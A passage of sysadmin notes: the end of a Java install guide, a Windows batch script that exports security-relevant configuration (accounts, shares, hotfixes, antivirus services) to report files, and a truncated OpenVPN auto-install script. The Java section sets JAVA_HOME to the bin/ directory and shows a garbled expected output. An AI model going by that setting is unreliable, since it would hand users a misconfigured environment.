Press <enter> to keep the current choice[*], or type selection number: 
```

Again, you can now switch to another JDK or keep the current version.

**Step 3. Add JAVA\_HOME environment variable**

Java applications may use environment variables. JAVA\_HOME is a common one so we will now we add this.

Edit /etc/environment file:

```plaintext
$ sudo nano /etc/environment
```

Add the following line to the file and save:

```plaintext
JAVA_HOME="/usr/lib/jvm/java-11-openjdk-amd64/bin/"
```

In the above example we are using Java 11.

To apply the changes you will need to log out then log in again. To apply the changes in your current terminal session use the source command:

```plaintext
$ source /etc/environment
```

Check the environment variable was set:

```plaintext
$ echo $JAVA_HOME
```

The response should look like:

```plaintext
sr/lib/jvm/java-11-openjdk-amd64/bin/
```


# Export Windows Config

```
@echo on
@echo ==============================================
@echo = Report Windows Config....................=
@echo = Please wait a moment.......................=
@echo = Write by Micsoftvn.......................=
@echo ==============================================
@echo off

mkdir C:\Report
Rem ====GET INFO===========

Rem ====GET INFO 2===========
wmic SHARE GET name,AllowMaximum,Description,Name,Path,Status  /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 3-4 ===========
wmic UserAccount where (Name="Administrator") get Description,Name,PasswordExpires,Status /format:htable >>"C:\Report\INFO.htm
wmic UserAccount where (Name="Guest") get Description,Name,PasswordExpires,Status /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 5=========================
gpresult /H C:\Report\LocalPolicy.html

Rem ====GET INFO 6================
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v restrictanonymous >>"C:\Report\regedit.html
rem reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg >>"C:\Report\regedit.html
reg query HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v DisableIPSourceRouting >>"C:\Report\regedit.html
reg query HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v PerformRouterDiscovery >>"C:\Report\regedit.html

Rem ==== GET INFO 7=======================
wmic service where (Name="WerSvc") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 8=================================
wmic service where (Name="Browser") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="wuauserv") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="lmhosts") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 9=====================
w32tm /query /status >>"C:\Report\regedit.html

Rem ====GET INFO 10================
wmic qfe get Description, HotFixID, InstalledBy, InstalledOn /format:htable >>"C:\Report\INFO.htm
wmic qfe where (HotFixID="KB4056895") get Description, HotFixID, InstalledBy, InstalledOn /format:htable >>"C:\Report\INFO.htm
wmic qfe where (HotFixID="KB4088876") get Description, HotFixID, InstalledBy, InstalledOn /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 11========================

wmic service where (Name="masvc") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="HipMgmt") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="McShield") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="enterceptAgent") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="scsrvc") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm

Rem ====GET INFO 12===============
wmic service where (Name="arc_Connector") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="arc_windowsunified") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="arc_windowsfg") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
wmic service where (Name="arc_nt_local") get caption,name,startmode,state /format:htable >>"C:\Report\INFO.htm
```


# Auto Install Openvpn

#### 1. Make script below

```
#!/bin/bash
# shellcheck disable=SC1091,SC2164,SC2034,SC1072,SC1073,SC1009

# Secure OpenVPN server installer for Debian, Ubuntu, CentOS, Amazon Linux 2, Fedora, Oracle Linux 8, Arch Linux, Rocky Linux and AlmaLinux.
# https://github.com/angristan/openvpn-install

function isRoot() {
	if [ "$EUID" -ne 0 ]; then
		return 1
	fi
}

function tunAvailable() {
	if [ ! -e /dev/net/tun ]; then
		return 1
	fi
}

function checkOS() {
	if [[ -e /etc/debian_version ]]; then
		OS="debian"
		source /etc/os-release

		if [[ $ID == "debian" || $ID == "raspbian" ]]; then
			if [[ $VERSION_ID -lt 9 ]]; then
				echo "⚠️ Your version of Debian is not supported."
				echo ""
				echo "However, if you're using Debian >= 9 or unstable/testing then you can continue, at your own risk."
				echo ""
				until [[ $CONTINUE =~ (y|n) ]]; do
					read -rp "Continue? [y/n]: " -e CONTINUE
				done
				if [[ $CONTINUE == "n" ]]; then
					exit 1
				fi
			fi
		elif [[ $ID == "ubuntu" ]]; then
			OS="ubuntu"
			MAJOR_UBUNTU_VERSION=$(echo "$VERSION_ID" | cut -d '.' -f1)
			if [[ $MAJOR_UBUNTU_VERSION -lt 16 ]]; then
				echo "⚠️ Your version of Ubuntu is not supported."
				echo ""
				echo "However, if you're using Ubuntu >= 16.04 or beta, then you can continue, at your own risk."
				echo ""
				until [[ $CONTINUE =~ (y|n) ]]; do
					read -rp "Continue? [y/n]: " -e CONTINUE
				done
				if [[ $CONTINUE == "n" ]]; then
					exit 1
				fi
			fi
		fi
	elif [[ -e /etc/system-release ]]; then
		source /etc/os-release
		if [[ $ID == "fedora" || $ID_LIKE == "fedora" ]]; then
			OS="fedora"
		fi
		if [[ $ID == "centos" || $ID == "rocky" || $ID == "almalinux" ]]; then
			OS="centos"
			if [[ $VERSION_ID -lt 7 ]]; then
				echo "⚠️ Your version of CentOS is not supported."
				echo ""
				echo "The script only support CentOS 7 and CentOS 8."
				echo ""
				exit 1
			fi
		fi
		if [[ $ID == "ol" ]]; then
			OS="oracle"
			if [[ ! $VERSION_ID =~ (8) ]]; then
				echo "Your version of Oracle Linux is not supported."
				echo ""
				echo "The script only support Oracle Linux 8."
				exit 1
			fi
		fi
		if [[ $ID == "amzn" ]]; then
			OS="amzn"
			if [[ $VERSION_ID != "2" ]]; then
				echo "⚠️ Your version of Amazon Linux is not supported."
				echo ""
				echo "The script only support Amazon Linux 2."
				echo ""
				exit 1
			fi
		fi
	elif [[ -e /etc/arch-release ]]; then
		OS=arch
	else
		echo "Looks like you aren't running this installer on a Debian, Ubuntu, Fedora, CentOS, Amazon Linux 2, Oracle Linux 8 or Arch Linux system"
		exit 1
	fi
}

function initialCheck() {
	if ! isRoot; then
		echo "Sorry, you need to run this as root"
		exit 1
	fi
	if ! tunAvailable; then
		echo "TUN is not available"
		exit 1
	fi
	checkOS
}

function installUnbound() {
	# If Unbound isn't installed, install it
	if [[ ! -e /etc/unbound/unbound.conf ]]; then

		if [[ $OS =~ (debian|ubuntu) ]]; then
			apt-get install -y unbound

			# Configuration
			echo 'interface: 10.8.0.1
access-control: 10.8.0.1/24 allow
hide-identity: yes
hide-version: yes
use-caps-for-id: yes
prefetch: yes' >>/etc/unbound/unbound.conf

		elif [[ $OS =~ (centos|amzn|oracle) ]]; then
			yum install -y unbound

			# Configuration
			sed -i 's|# interface: 0.0.0.0$|interface: 10.8.0.1|' /etc/unbound/unbound.conf
			sed -i 's|# access-control: 127.0.0.0/8 allow|access-control: 10.8.0.1/24 allow|' /etc/unbound/unbound.conf
			sed -i 's|# hide-identity: no|hide-identity: yes|' /etc/unbound/unbound.conf
			sed -i 's|# hide-version: no|hide-version: yes|' /etc/unbound/unbound.conf
			sed -i 's|use-caps-for-id: no|use-caps-for-id: yes|' /etc/unbound/unbound.conf

		elif [[ $OS == "fedora" ]]; then
			dnf install -y unbound

			# Configuration
			sed -i 's|# interface: 0.0.0.0$|interface: 10.8.0.1|' /etc/unbound/unbound.conf
			sed -i 's|# access-control: 127.0.0.0/8 allow|access-control: 10.8.0.1/24 allow|' /etc/unbound/unbound.conf
			sed -i 's|# hide-identity: no|hide-identity: yes|' /etc/unbound/unbound.conf
			sed -i 's|# hide-version: no|hide-version: yes|' /etc/unbound/unbound.conf
			sed -i 's|# use-caps-for-id: no|use-caps-for-id: yes|' /etc/unbound/unbound.conf

		elif [[ $OS == "arch" ]]; then
			pacman -Syu --noconfirm unbound

			# Get root servers list
			curl -o /etc/unbound/root.hints https://www.internic.net/domain/named.cache

			if [[ ! -f /etc/unbound/unbound.conf.old ]]; then
				mv /etc/unbound/unbound.conf /etc/unbound/unbound.conf.old
			fi

			echo 'server:
	use-syslog: yes
	do-daemonize: no
	username: "unbound"
	directory: "/etc/unbound"
	trust-anchor-file: trusted-key.key
	root-hints: root.hints
	interface: 10.8.0.1
	access-control: 10.8.0.1/24 allow
	port: 53
	num-threads: 2
	use-caps-for-id: yes
	harden-glue: yes
	hide-identity: yes
	hide-version: yes
	qname-minimisation: yes
	prefetch: yes' >/etc/unbound/unbound.conf
		fi

		# IPv6 DNS for all OS
		if [[ $IPV6_SUPPORT == 'y' ]]; then
			echo 'interface: fd42:42:42:42::1
access-control: fd42:42:42:42::/112 allow' >>/etc/unbound/unbound.conf
		fi

		if [[ ! $OS =~ (fedora|centos|amzn|oracle) ]]; then
			# DNS Rebinding fix
			echo "private-address: 10.0.0.0/8
private-address: fd42:42:42:42::/112
private-address: 172.16.0.0/12
private-address: 192.168.0.0/16
private-address: 169.254.0.0/16
private-address: fd00::/8
private-address: fe80::/10
private-address: 127.0.0.0/8
private-address: ::ffff:0:0/96" >>/etc/unbound/unbound.conf
		fi
	else # Unbound is already installed
		echo 'include: /etc/unbound/openvpn.conf' >>/etc/unbound/unbound.conf

		# Add Unbound 'server' for the OpenVPN subnet
		echo 'server:
interface: 10.8.0.1
access-control: 10.8.0.1/24 allow
hide-identity: yes
hide-version: yes
use-caps-for-id: yes
prefetch: yes
private-address: 10.0.0.0/8
private-address: fd42:42:42:42::/112
private-address: 172.16.0.0/12
private-address: 192.168.0.0/16
private-address: 169.254.0.0/16
private-address: fd00::/8
private-address: fe80::/10
private-address: 127.0.0.0/8
private-address: ::ffff:0:0/96' >/etc/unbound/openvpn.conf
		if [[ $IPV6_SUPPORT == 'y' ]]; then
			echo 'interface: fd42:42:42:42::1
access-control: fd42:42:42:42::/112 allow' >>/etc/unbound/openvpn.conf
		fi
	fi

	systemctl enable unbound
	systemctl restart unbound
}

function installQuestions() {
	echo "Welcome to the OpenVPN installer!"
	echo "The git repository is available at: https://github.com/angristan/openvpn-install"
	echo ""

	echo "I need to ask you a few questions before starting the setup."
	echo "You can leave the default options and just press enter if you are ok with them."
	echo ""
	echo "I need to know the IPv4 address of the network interface you want OpenVPN listening to."
	echo "Unless your server is behind NAT, it should be your public IPv4 address."

	# Detect public IPv4 address and pre-fill for the user
	IP=$(ip -4 addr | sed -ne 's|^.* inet \([^/]*\)/.* scope global.*$|\1|p' | head -1)

	if [[ -z $IP ]]; then
		# Detect public IPv6 address
		IP=$(ip -6 addr | sed -ne 's|^.* inet6 \([^/]*\)/.* scope global.*$|\1|p' | head -1)
	fi
	APPROVE_IP=${APPROVE_IP:-n}
	if [[ $APPROVE_IP =~ n ]]; then
		read -rp "IP address: " -e -i "$IP" IP
	fi
	# If $IP is a private IP address, the server must be behind NAT
	if echo "$IP" | grep -qE '^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)'; then
		echo ""
		echo "It seems this server is behind NAT. What is its public IPv4 address or hostname?"
		echo "We need it for the clients to connect to the server."

		PUBLICIP=$(curl -s https://api.ipify.org)
		until [[ $ENDPOINT != "" ]]; do
			read -rp "Public IPv4 address or hostname: " -e -i "$PUBLICIP" ENDPOINT
		done
	fi

	echo ""
	echo "Checking for IPv6 connectivity..."
	echo ""
	# "ping6" and "ping -6" availability varies depending on the distribution
	if type ping6 >/dev/null 2>&1; then
		PING6="ping6 -c3 ipv6.google.com > /dev/null 2>&1"
	else
		PING6="ping -6 -c3 ipv6.google.com > /dev/null 2>&1"
	fi
	if eval "$PING6"; then
		echo "Your host appears to have IPv6 connectivity."
		SUGGESTION="y"
	else
		echo "Your host does not appear to have IPv6 connectivity."
		SUGGESTION="n"
	fi
	echo ""
	# Ask the user if they want to enable IPv6 regardless its availability.
	until [[ $IPV6_SUPPORT =~ (y|n) ]]; do
		read -rp "Do you want to enable IPv6 support (NAT)? [y/n]: " -e -i $SUGGESTION IPV6_SUPPORT
	done
	echo ""
	echo "What port do you want OpenVPN to listen to?"
	echo "   1) Default: 1194"
	echo "   2) Custom"
	echo "   3) Random [49152-65535]"
	until [[ $PORT_CHOICE =~ ^[1-3]$ ]]; do
		read -rp "Port choice [1-3]: " -e -i 1 PORT_CHOICE
	done
	case $PORT_CHOICE in
	1)
		PORT="1194"
		;;
	2)
		until [[ $PORT =~ ^[0-9]+$ ]] && [ "$PORT" -ge 1 ] && [ "$PORT" -le 65535 ]; do
			read -rp "Custom port [1-65535]: " -e -i 1194 PORT
		done
		;;
	3)
		# Generate random number within private ports range
		PORT=$(shuf -i49152-65535 -n1)
		echo "Random Port: $PORT"
		;;
	esac
	echo ""
	echo "What protocol do you want OpenVPN to use?"
	echo "UDP is faster. Unless it is not available, you shouldn't use TCP."
	echo "   1) UDP"
	echo "   2) TCP"
	until [[ $PROTOCOL_CHOICE =~ ^[1-2]$ ]]; do
		read -rp "Protocol [1-2]: " -e -i 1 PROTOCOL_CHOICE
	done
	case $PROTOCOL_CHOICE in
	1)
		PROTOCOL="udp"
		;;
	2)
		PROTOCOL="tcp"
		;;
	esac
	echo ""
	echo "What DNS resolvers do you want to use with the VPN?"
	echo "   1) Current system resolvers (from /etc/resolv.conf)"
	echo "   2) Self-hosted DNS Resolver (Unbound)"
	echo "   3) Cloudflare (Anycast: worldwide)"
	echo "   4) Quad9 (Anycast: worldwide)"
	echo "   5) Quad9 uncensored (Anycast: worldwide)"
	echo "   6) FDN (France)"
	echo "   7) DNS.WATCH (Germany)"
	echo "   8) OpenDNS (Anycast: worldwide)"
	echo "   9) Google (Anycast: worldwide)"
	echo "   10) Yandex Basic (Russia)"
	echo "   11) AdGuard DNS (Anycast: worldwide)"
	echo "   12) NextDNS (Anycast: worldwide)"
	echo "   13) Custom"
	until [[ $DNS =~ ^[0-9]+$ ]] && [ "$DNS" -ge 1 ] && [ "$DNS" -le 13 ]; do
		read -rp "DNS [1-12]: " -e -i 11 DNS
		if [[ $DNS == 2 ]] && [[ -e /etc/unbound/unbound.conf ]]; then
			echo ""
			echo "Unbound is already installed."
			echo "You can allow the script to configure it in order to use it from your OpenVPN clients"
			echo "We will simply add a second server to /etc/unbound/unbound.conf for the OpenVPN subnet."
			echo "No changes are made to the current configuration."
			echo ""

			until [[ $CONTINUE =~ (y|n) ]]; do
				read -rp "Apply configuration changes to Unbound? [y/n]: " -e CONTINUE
			done
			if [[ $CONTINUE == "n" ]]; then
				# Break the loop and cleanup
				unset DNS
				unset CONTINUE
			fi
		elif [[ $DNS == "13" ]]; then
			until [[ $DNS1 =~ ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ ]]; do
				read -rp "Primary DNS: " -e DNS1
			done
			until [[ $DNS2 =~ ^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ ]]; do
				read -rp "Secondary DNS (optional): " -e DNS2
				if [[ $DNS2 == "" ]]; then
					break
				fi
			done
		fi
	done
	echo ""
	echo "Do you want to use compression? It is not recommended since the VORACLE attack makes use of it."
	until [[ $COMPRESSION_ENABLED =~ (y|n) ]]; do
		read -rp"Enable compression? [y/n]: " -e -i n COMPRESSION_ENABLED
	done
	if [[ $COMPRESSION_ENABLED == "y" ]]; then
		echo "Choose which compression algorithm you want to use: (they are ordered by efficiency)"
		echo "   1) LZ4-v2"
		echo "   2) LZ4"
		echo "   3) LZ0"
		until [[ $COMPRESSION_CHOICE =~ ^[1-3]$ ]]; do
			read -rp"Compression algorithm [1-3]: " -e -i 1 COMPRESSION_CHOICE
		done
		case $COMPRESSION_CHOICE in
		1)
			COMPRESSION_ALG="lz4-v2"
			;;
		2)
			COMPRESSION_ALG="lz4"
			;;
		3)
			COMPRESSION_ALG="lzo"
			;;
		esac
	fi
	echo ""
	echo "Do you want to customize encryption settings?"
	echo "Unless you know what you're doing, you should stick with the default parameters provided by the script."
	echo "Note that whatever you choose, all the choices presented in the script are safe. (Unlike OpenVPN's defaults)"
	echo "See https://github.com/angristan/openvpn-install#security-and-encryption to learn more."
	echo ""
	until [[ $CUSTOMIZE_ENC =~ (y|n) ]]; do
		read -rp "Customize encryption settings? [y/n]: " -e -i n CUSTOMIZE_ENC
	done
	if [[ $CUSTOMIZE_ENC == "n" ]]; then
		# Use default, sane and fast parameters
		CIPHER="AES-128-GCM"
		CERT_TYPE="1" # ECDSA
		CERT_CURVE="prime256v1"
		CC_CIPHER="TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256"
		DH_TYPE="1" # ECDH
		DH_CURVE="prime256v1"
		HMAC_ALG="SHA256"
		TLS_SIG="1" # tls-crypt
	else
		echo ""
		echo "Choose which cipher you want to use for the data channel:"
		echo "   1) AES-128-GCM (recommended)"
		echo "   2) AES-192-GCM"
		echo "   3) AES-256-GCM"
		echo "   4) AES-128-CBC"
		echo "   5) AES-192-CBC"
		echo "   6) AES-256-CBC"
		until [[ $CIPHER_CHOICE =~ ^[1-6]$ ]]; do
			read -rp "Cipher [1-6]: " -e -i 1 CIPHER_CHOICE
		done
		case $CIPHER_CHOICE in
		1)
			CIPHER="AES-128-GCM"
			;;
		2)
			CIPHER="AES-192-GCM"
			;;
		3)
			CIPHER="AES-256-GCM"
			;;
		4)
			CIPHER="AES-128-CBC"
			;;
		5)
			CIPHER="AES-192-CBC"
			;;
		6)
			CIPHER="AES-256-CBC"
			;;
		esac
		echo ""
		echo "Choose what kind of certificate you want to use:"
		echo "   1) ECDSA (recommended)"
		echo "   2) RSA"
		until [[ $CERT_TYPE =~ ^[1-2]$ ]]; do
			read -rp"Certificate key type [1-2]: " -e -i 1 CERT_TYPE
		done
		case $CERT_TYPE in
		1)
			echo ""
			echo "Choose which curve you want to use for the certificate's key:"
			echo "   1) prime256v1 (recommended)"
			echo "   2) secp384r1"
			echo "   3) secp521r1"
			until [[ $CERT_CURVE_CHOICE =~ ^[1-3]$ ]]; do
				read -rp"Curve [1-3]: " -e -i 1 CERT_CURVE_CHOICE
			done
			case $CERT_CURVE_CHOICE in
			1)
				CERT_CURVE="prime256v1"
				;;
			2)
				CERT_CURVE="secp384r1"
				;;
			3)
				CERT_CURVE="secp521r1"
				;;
			esac
			;;
		2)
			echo ""
			echo "Choose which size you want to use for the certificate's RSA key:"
			echo "   1) 2048 bits (recommended)"
			echo "   2) 3072 bits"
			echo "   3) 4096 bits"
			until [[ $RSA_KEY_SIZE_CHOICE =~ ^[1-3]$ ]]; do
				read -rp "RSA key size [1-3]: " -e -i 1 RSA_KEY_SIZE_CHOICE
			done
			case $RSA_KEY_SIZE_CHOICE in
			1)
				RSA_KEY_SIZE="2048"
				;;
			2)
				RSA_KEY_SIZE="3072"
				;;
			3)
				RSA_KEY_SIZE="4096"
				;;
			esac
			;;
		esac
		echo ""
		echo "Choose which cipher you want to use for the control channel:"
		case $CERT_TYPE in
		1)
			echo "   1) ECDHE-ECDSA-AES-128-GCM-SHA256 (recommended)"
			echo "   2) ECDHE-ECDSA-AES-256-GCM-SHA384"
			until [[ $CC_CIPHER_CHOICE =~ ^[1-2]$ ]]; do
				read -rp"Control channel cipher [1-2]: " -e -i 1 CC_CIPHER_CHOICE
			done
			case $CC_CIPHER_CHOICE in
			1)
				CC_CIPHER="TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256"
				;;
			2)
				CC_CIPHER="TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384"
				;;
			esac
			;;
		2)
			echo "   1) ECDHE-RSA-AES-128-GCM-SHA256 (recommended)"
			echo "   2) ECDHE-RSA-AES-256-GCM-SHA384"
			until [[ $CC_CIPHER_CHOICE =~ ^[1-2]$ ]]; do
				read -rp"Control channel cipher [1-2]: " -e -i 1 CC_CIPHER_CHOICE
			done
			case $CC_CIPHER_CHOICE in
			1)
				CC_CIPHER="TLS-ECDHE-RSA-WITH-AES-128-GCM-SHA256"
				;;
			2)
				CC_CIPHER="TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384"
				;;
			esac
			;;
		esac
		echo ""
		echo "Choose what kind of Diffie-Hellman key you want to use:"
		echo "   1) ECDH (recommended)"
		echo "   2) DH"
		until [[ $DH_TYPE =~ [1-2] ]]; do
			read -rp"DH key type [1-2]: " -e -i 1 DH_TYPE
		done
		case $DH_TYPE in
		1)
			echo ""
			echo "Choose which curve you want to use for the ECDH key:"
			echo "   1) prime256v1 (recommended)"
			echo "   2) secp384r1"
			echo "   3) secp521r1"
			while [[ $DH_CURVE_CHOICE != "1" && $DH_CURVE_CHOICE != "2" && $DH_CURVE_CHOICE != "3" ]]; do
				read -rp"Curve [1-3]: " -e -i 1 DH_CURVE_CHOICE
			done
			case $DH_CURVE_CHOICE in
			1)
				DH_CURVE="prime256v1"
				;;
			2)
				DH_CURVE="secp384r1"
				;;
			3)
				DH_CURVE="secp521r1"
				;;
			esac
			;;
		2)
			echo ""
			echo "Choose what size of Diffie-Hellman key you want to use:"
			echo "   1) 2048 bits (recommended)"
			echo "   2) 3072 bits"
			echo "   3) 4096 bits"
			until [[ $DH_KEY_SIZE_CHOICE =~ ^[1-3]$ ]]; do
				read -rp "DH key size [1-3]: " -e -i 1 DH_KEY_SIZE_CHOICE
			done
			case $DH_KEY_SIZE_CHOICE in
			1)
				DH_KEY_SIZE="2048"
				;;
			2)
				DH_KEY_SIZE="3072"
				;;
			3)
				DH_KEY_SIZE="4096"
				;;
			esac
			;;
		esac
		echo ""
		# The "auth" options behaves differently with AEAD ciphers
		if [[ $CIPHER =~ CBC$ ]]; then
			echo "The digest algorithm authenticates data channel packets and tls-auth packets from the control channel."
		elif [[ $CIPHER =~ GCM$ ]]; then
			echo "The digest algorithm authenticates tls-auth packets from the control channel."
		fi
		echo "Which digest algorithm do you want to use for HMAC?"
		echo "   1) SHA-256 (recommended)"
		echo "   2) SHA-384"
		echo "   3) SHA-512"
		until [[ $HMAC_ALG_CHOICE =~ ^[1-3]$ ]]; do
			read -rp "Digest algorithm [1-3]: " -e -i 1 HMAC_ALG_CHOICE
		done
		case $HMAC_ALG_CHOICE in
		1)
			HMAC_ALG="SHA256"
			;;
		2)
			HMAC_ALG="SHA384"
			;;
		3)
			HMAC_ALG="SHA512"
			;;
		esac
		echo ""
		echo "You can add an additional layer of security to the control channel with tls-auth and tls-crypt"
		echo "tls-auth authenticates the packets, while tls-crypt authenticate and encrypt them."
		echo "   1) tls-crypt (recommended)"
		echo "   2) tls-auth"
		until [[ $TLS_SIG =~ [1-2] ]]; do
			read -rp "Control channel additional security mechanism [1-2]: " -e -i 1 TLS_SIG
		done
	fi
	echo ""
	echo "Okay, that was all I needed. We are ready to setup your OpenVPN server now."
	echo "You will be able to generate a client at the end of the installation."
	APPROVE_INSTALL=${APPROVE_INSTALL:-n}
	if [[ $APPROVE_INSTALL =~ n ]]; then
		read -n1 -r -p "Press any key to continue..."
	fi
}

function installOpenVPN() {
	if [[ $AUTO_INSTALL == "y" ]]; then
		# Set default choices so that no questions will be asked.
		APPROVE_INSTALL=${APPROVE_INSTALL:-y}
		APPROVE_IP=${APPROVE_IP:-y}
		IPV6_SUPPORT=${IPV6_SUPPORT:-n}
		PORT_CHOICE=${PORT_CHOICE:-1}
		PROTOCOL_CHOICE=${PROTOCOL_CHOICE:-1}
		DNS=${DNS:-1}
		COMPRESSION_ENABLED=${COMPRESSION_ENABLED:-n}
		CUSTOMIZE_ENC=${CUSTOMIZE_ENC:-n}
		CLIENT=${CLIENT:-client}
		PASS=${PASS:-1}
		CONTINUE=${CONTINUE:-y}

		# Behind NAT, we'll default to the publicly reachable IPv4/IPv6.
		if [[ $IPV6_SUPPORT == "y" ]]; then
			if ! PUBLIC_IP=$(curl -f --retry 5 --retry-connrefused https://ip.seeip.org); then
				PUBLIC_IP=$(dig -6 TXT +short o-o.myaddr.l.google.com @ns1.google.com | tr -d '"')
			fi
		else
			if ! PUBLIC_IP=$(curl -f --retry 5 --retry-connrefused -4 https://ip.seeip.org); then
				PUBLIC_IP=$(dig -4 TXT +short o-o.myaddr.l.google.com @ns1.google.com | tr -d '"')
			fi
		fi
		ENDPOINT=${ENDPOINT:-$PUBLIC_IP}
	fi

	# Run setup questions first, and set other variables if auto-install
	installQuestions

	# Get the "public" interface from the default route
	NIC=$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1)
	if [[ -z $NIC ]] && [[ $IPV6_SUPPORT == 'y' ]]; then
		NIC=$(ip -6 route show default | sed -ne 's/^default .* dev \([^ ]*\) .*$/\1/p')
	fi

	# $NIC can not be empty for script rm-openvpn-rules.sh
	if [[ -z $NIC ]]; then
		echo
		echo "Can not detect public interface."
		echo "This needs for setup MASQUERADE."
		until [[ $CONTINUE =~ (y|n) ]]; do
			read -rp "Continue? [y/n]: " -e CONTINUE
		done
		if [[ $CONTINUE == "n" ]]; then
			exit 1
		fi
	fi

	# If OpenVPN isn't installed yet, install it. This script is more-or-less
	# idempotent on multiple runs, but will only install OpenVPN from upstream
	# the first time.
	if [[ ! -e /etc/openvpn/server.conf ]]; then
		if [[ $OS =~ (debian|ubuntu) ]]; then
			apt-get update
			apt-get -y install ca-certificates gnupg
			# We add the OpenVPN repo to get the latest version.
			if [[ $VERSION_ID == "16.04" ]]; then
				echo "deb http://build.openvpn.net/debian/openvpn/stable xenial main" >/etc/apt/sources.list.d/openvpn.list
				wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add -
				apt-get update
			fi
			# Ubuntu > 16.04 and Debian > 8 have OpenVPN >= 2.4 without the need of a third party repository.
			apt-get install -y openvpn iptables openssl wget ca-certificates curl
		elif [[ $OS == 'centos' ]]; then
			yum install -y epel-release
			yum install -y openvpn iptables openssl wget ca-certificates curl tar 'policycoreutils-python*'
		elif [[ $OS == 'oracle' ]]; then
			yum install -y oracle-epel-release-el8
			yum-config-manager --enable ol8_developer_EPEL
			yum install -y openvpn iptables openssl wget ca-certificates curl tar policycoreutils-python-utils
		elif [[ $OS == 'amzn' ]]; then
			amazon-linux-extras install -y epel
			yum install -y openvpn iptables openssl wget ca-certificates curl
		elif [[ $OS == 'fedora' ]]; then
			dnf install -y openvpn iptables openssl wget ca-certificates curl policycoreutils-python-utils
		elif [[ $OS == 'arch' ]]; then
			# Install required dependencies and upgrade the system
			pacman --needed --noconfirm -Syu openvpn iptables openssl wget ca-certificates curl
		fi
		# An old version of easy-rsa was available by default in some openvpn packages
		if [[ -d /etc/openvpn/easy-rsa/ ]]; then
			rm -rf /etc/openvpn/easy-rsa/
		fi
	fi

	# Find out if the machine uses nogroup or nobody for the permissionless group
	if grep -qs "^nogroup:" /etc/group; then
		NOGROUP=nogroup
	else
		NOGROUP=nobody
	fi

	# Install the latest version of easy-rsa from source, if not already installed.
	if [[ ! -d /etc/openvpn/easy-rsa/ ]]; then
		local version="3.1.2"
		wget -O ~/easy-rsa.tgz https://github.com/OpenVPN/easy-rsa/releases/download/v${version}/EasyRSA-${version}.tgz
		mkdir -p /etc/openvpn/easy-rsa
		tar xzf ~/easy-rsa.tgz --strip-components=1 --no-same-owner --directory /etc/openvpn/easy-rsa
		rm -f ~/easy-rsa.tgz

		cd /etc/openvpn/easy-rsa/ || return
		case $CERT_TYPE in
		1)
			echo "set_var EASYRSA_ALGO ec" >vars
			echo "set_var EASYRSA_CURVE $CERT_CURVE" >>vars
			;;
		2)
			echo "set_var EASYRSA_KEY_SIZE $RSA_KEY_SIZE" >vars
			;;
		esac

		# Generate a random, alphanumeric identifier of 16 characters for CN and one for server name
		SERVER_CN="cn_$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)"
		echo "$SERVER_CN" >SERVER_CN_GENERATED
		SERVER_NAME="server_$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)"
		echo "$SERVER_NAME" >SERVER_NAME_GENERATED

		# Create the PKI, set up the CA, the DH params and the server certificate
		./easyrsa init-pki
		./easyrsa --batch --req-cn="$SERVER_CN" build-ca nopass

		if [[ $DH_TYPE == "2" ]]; then
			# ECDH keys are generated on-the-fly so we don't need to generate them beforehand
			openssl dhparam -out dh.pem $DH_KEY_SIZE
		fi

		./easyrsa --batch build-server-full "$SERVER_NAME" nopass
		EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl

		case $TLS_SIG in
		1)
			# Generate tls-crypt key
			openvpn --genkey --secret /etc/openvpn/tls-crypt.key
			;;
		2)
			# Generate tls-auth key
			openvpn --genkey --secret /etc/openvpn/tls-auth.key
			;;
		esac
	else
		# If easy-rsa is already installed, grab the generated SERVER_NAME
		# for client configs
		cd /etc/openvpn/easy-rsa/ || return
		SERVER_NAME=$(cat SERVER_NAME_GENERATED)
	fi

	# Move all the generated files
	cp pki/ca.crt pki/private/ca.key "pki/issued/$SERVER_NAME.crt" "pki/private/$SERVER_NAME.key" /etc/openvpn/easy-rsa/pki/crl.pem /etc/openvpn
	if [[ $DH_TYPE == "2" ]]; then
		cp dh.pem /etc/openvpn
	fi

	# Make cert revocation list readable for non-root
	chmod 644 /etc/openvpn/crl.pem

	# Generate server.conf
	echo "port $PORT" >/etc/openvpn/server.conf
	if [[ $IPV6_SUPPORT == 'n' ]]; then
		echo "proto $PROTOCOL" >>/etc/openvpn/server.conf
	elif [[ $IPV6_SUPPORT == 'y' ]]; then
